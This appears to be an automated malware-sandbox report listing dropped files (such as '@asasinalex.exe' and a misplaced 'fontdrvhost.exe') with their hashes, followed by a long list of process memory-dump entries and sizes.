76f62b747019b571534997025aa5d15fdd578493db584f54e71298cf3be9a19721720780712302b7d643d979f7cb539ea8ca68671a03f95a21bd1d0e8920b96a

Download Submit
C:\Users\Admin\AppData\Roaming\1337\@asasinalex.exe

MD5
4447f458a0cf3bedb38f5cf9897c998c

SHA1
b3975f5bf7273821190e038ef9a11a54c02b5760

SHA256
24b93292dc2cb37fa8b990a0e548fbfe5d2ea88fc3b0228808915f14c5e85e86

SHA512
76f62b747019b571534997025aa5d15fdd578493db584f54e71298cf3be9a19721720780712302b7d643d979f7cb539ea8ca68671a03f95a21bd1d0e8920b96a

Download Submit
C:\Windows\Media\Raga\fontdrvhost.exe

MD5
348865c449962bf4154b89d43640f4bb

SHA1
2079978d1f4a92402f5359c98b822f6587da9fce

SHA256
dbea34702c32688f055d9c56d3267a4d4da98adea992a7df123a2b3e8487018a

SHA512
bc72768c88759463cdd718c4f8bdb2f16cf8ef16bd0b6d4ee22ce16a3706a74dca583c3d95e6a5af7d4107ee456e25cbb601f70372ba15db4fba266251080778

Download Submit
C:\Windows\Media\Raga\fontdrvhost.exe

MD5
348865c449962bf4154b89d43640f4bb

SHA1
2079978d1f4a92402f5359c98b822f6587da9fce

SHA256
dbea34702c32688f055d9c56d3267a4d4da98adea992a7df123a2b3e8487018a

SHA512
bc72768c88759463cdd718c4f8bdb2f16cf8ef16bd0b6d4ee22ce16a3706a74dca583c3d95e6a5af7d4107ee456e25cbb601f70372ba15db4fba266251080778

Download Submit
\??\pipe\crashpad_2144_ZLLFRRTONFUZRGQA

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\pipe\crashpad_4080_DFUFDRDXIVQCTVWK

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\nss7F4A.tmp\System.dll

MD5
0063d48afe5a0cdc02833145667b6641

SHA1
e7eb614805d183ecb1127c62decb1a6be1b4f7a8

SHA256
ac9dfe3b35ea4b8932536ed7406c29a432976b685cc5322f94ef93df920fede7

SHA512
71cbbcaeb345e09306e368717ea0503fe8df485be2e95200febc61bcd8ba74fb4211cd263c232f148c0123f6c6f2e3fd4ea20bdecc4070f5208c35c6920240f0

Download Submit
memory/412-3-0x0000000001041000-0x0000000001043000-memory.dmp

Filesize
8KB

Download
memory/412-4-0x0000000001041000-0x0000000001043000-memory.dmp

Filesize
8KB

Download
memory/412-5-0x00000000777A4000-0x00000000777A5000-memory.dmp

Filesize
4KB

Download
memory/412-2-0x0000000001040000-0x0000000001CFC000-memory.dmp

Filesize
12.7MB

Download
memory/508-250-0x0000000000000000-mapping.dmp

Download
memory/576-58-0x0000000000000000-mapping.dmp

Download
memory/740-6-0x0000000000000000-mapping.dmp

Download
memory/740-9-0x00007FFD88B60000-0x00007FFD8954C000-memory.dmp

Filesize
9.9MB

Download
memory/740-16-0x0000018930CB0000-0x0000018930CB1000-memory.dmp

Filesize
4KB

Download
memory/740-43-0x000001894B620000-0x000001894B622000-memory.dmp

Filesize
8KB

Download
memory/1116-23-0x0000000000000000-mapping.dmp

Download
memory/1148-300-0x000001C21DBA0000-0x000001C21DBA00F8-memory.dmp

Filesize
248B

Download
memory/1204-276-0x0000000000000000-mapping.dmp

Download
memory/1312-86-0x00007FFDA47D0000-0x00007FFDA47D1000-memory.dmp

Filesize
4KB

Download
memory/1312-81-0x0000000000000000-mapping.dmp

Download
memory/1360-19-0x0000000000000000-mapping.dmp

Download
memory/1516-59-0x0000000000000000-mapping.dmp

Download
memory/1620-256-0x0000000000000000-mapping.dmp

Download
memory/1964-46-0x0000000000000000-mapping.dmp

Download
memory/2128-10-0x0000000000000000-mapping.dmp

Download
memory/2128-13-0x000001E3CEDA0000-0x000001E3CEDB4000-memory.dmp

Filesize
80KB

Download
memory/2172-75-0x0000000000000000-mapping.dmp

Download
memory/2220-48-0x0000000000000000-mapping.dmp

Download
memory/2220-31-0x0000000000000000-mapping.dmp

Download
memory/2224-57-0x0000000007190000-0x0000000007191000-memory.dmp

Filesize
4KB

Download
memory/2224-56-0x0000000006BF0000-0x0000000006BF1000-memory.dmp

Filesize
4KB

Download
memory/2224-29-0x0000000000000000-mapping.dmp

Download
memory/2224-40-0x0000000000C20000-0x0000000000C21000-memory.dmp

Filesize
4KB

Download
memory/2224-39-0x0000000073970000-0x000000007405E000-memory.dmp

Filesize
6.9MB

Download
memory/2224-44-0x00000000065E0000-0x00000000065E1000-memory.dmp

Filesize
4KB

Download
memory/2224-42-0x0000000005490000-0x0000000005491000-memory.dmp

Filesize
4KB

Download
memory/2252-96-0x0000000000000000-mapping.dmp

Download
memory/2252-47-0x0000000000000000-mapping.dmp

Download
memory/2320-25-0x0000000000000000-mapping.dmp

Download
memory/2348-38-0x0000000000000000-mapping.dmp

Download
memory/2800-20-0x0000000000000000-mapping.dmp

Download
memory/2816-249-0x0000000000000000-mapping.dmp

Download
memory/3108-76-0x0000000000000000-mapping.dmp

Download
memory/3184-92-0x0000000000000000-mapping.dmp

Download
memory/3220-52-0x00007FFD88B60000-0x00007FFD8954C000-memory.dmp

Filesize
9.9MB

Download
memory/3220-49-0x0000000000000000-mapping.dmp

Download
memory/3220-55-0x000001DFA4DA0000-0x000001DFA4DA2000-memory.dmp

Filesize
8KB

Download
memory/3456-36-0x0000000000000000-mapping.dmp

Download
memory/3520-18-0x0000000000000000-mapping.dmp

Download
memory/3604-45-0x0000000000000000-mapping.dmp

Download
memory/3728-85-0x0000000000000000-mapping.dmp

Download
memory/3728-35-0x0000000000000000-mapping.dmp

Download
memory/3808-272-0x0000000000000000-mapping.dmp

Download
memory/3820-37-0x0000000000000000-mapping.dmp

Download
memory/3824-270-0x0000000000000000-mapping.dmp

Download
memory/3876-93-0x0000000000000000-mapping.dmp

Download
memory/4000-87-0x0000000000000000-mapping.dmp

Download
memory/4020-26-0x0000000000000000-mapping.dmp

Download
memory/4020-72-0x000001BEC6D50000-0x000001BEC6D70000-memory.dmp

Filesize
128KB

Download
memory/4020-67-0x000001BEC6D30000-0x000001BEC6D50000-memory.dmp

Filesize
128KB

Download
memory/4020-66-0x00007FF717390000-0x00007FF717AB7000-memory.dmp

Filesize
7.2MB

Download
memory/4020-63-0x0000000000000000-mapping.dmp

Download
memory/4048-14-0x0000000000000000-mapping.dmp

Download
memory/4052-84-0x0000000000000000-mapping.dmp

Download
memory/4108-218-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-205-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-97-0x0000000000000000-mapping.dmp

Download
memory/4108-111-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-196-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-197-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-198-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-199-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-200-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-201-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-203-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-202-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-223-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-232-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-231-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-230-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-229-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-228-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-227-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-226-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-225-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-224-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-222-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-221-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-220-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-219-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-204-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-217-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-216-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-215-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-214-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-213-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-212-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-211-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-210-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-209-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-208-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-207-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4108-206-0x000001845EF50000-0x000001845EF500F8-memory.dmp

Filesize
248B

Download
memory/4128-170-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-184-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-181-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-166-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-162-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-99-0x0000000000000000-mapping.dmp

Download
memory/4128-110-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-158-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-159-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-194-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-193-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-192-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-191-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-190-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-189-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-188-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-187-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-186-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-185-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-161-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-183-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-182-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-180-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-179-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-178-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-177-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-176-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-175-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-174-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-173-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-172-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-171-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-160-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-169-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-168-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-167-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-165-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-164-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4128-163-0x0000022AF6350000-0x0000022AF63500F8-memory.dmp

Filesize
248B

Download
memory/4160-101-0x0000000000000000-mapping.dmp

Download
memory/4176-148-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-125-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-121-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-126-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-156-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-155-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-153-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-152-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-151-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-150-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-149-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-109-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-147-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-146-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-145-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-144-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-142-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-141-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-140-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-139-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-138-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-137-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-136-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-135-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-134-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-132-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-131-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-130-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-129-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-128-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-127-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-154-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-124-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-123-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-122-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-120-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-103-0x0000000000000000-mapping.dmp

Download
memory/4176-143-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4176-133-0x000001F9CF720000-0x000001F9CF7200F8-memory.dmp

Filesize
248B

Download
memory/4376-106-0x0000000000000000-mapping.dmp

Download
memory/4428-107-0x0000000000000000-mapping.dmp

Download
memory/4504-254-0x0000000000000000-mapping.dmp

Download
memory/4508-246-0x0000000000000000-mapping.dmp

Download
memory/4528-262-0x0000000000000000-mapping.dmp

Download
memory/4708-113-0x0000000000000000-mapping.dmp

Download
memory/4712-274-0x0000000000000000-mapping.dmp

Download
memory/4720-114-0x0000000000000000-mapping.dmp

Download
memory/4784-117-0x0000000000000000-mapping.dmp

Download
memory/4788-301-0x0000022D95780000-0x0000022D957800F8-memory.dmp

Filesize
248B

Download
memory/4820-258-0x0000000000000000-mapping.dmp

Download
memory/4852-234-0x0000000000000000-mapping.dmp

Download
memory/4908-252-0x0000000000000000-mapping.dmp

Download
memory/4928-260-0x0000000000000000-mapping.dmp

Download
memory/4952-248-0x00007FF717390000-0x00007FF717AB7000-memory.dmp

Filesize
7.2MB

Download
memory/4952-235-0x0000000000000000-mapping.dmp

Download
memory/4980-238-0x0000000000000000-mapping.dmp

Download
memory/5016-240-0x0000000000000000-mapping.dmp

Download
memory/5020-266-0x0000000000000000-mapping.dmp

Download
memory/5036-241-0x0000000000000000-mapping.dmp

Download
memory/5048-268-0x0000000000000000-mapping.dmp

Download
memory/5048-242-0x0000000000000000-mapping.dmp

Download
memory/5068-264-0x0000000000000000-mapping.dmp

Download
memory/5092-244-0x0000000000000000-mapping.dmp

Download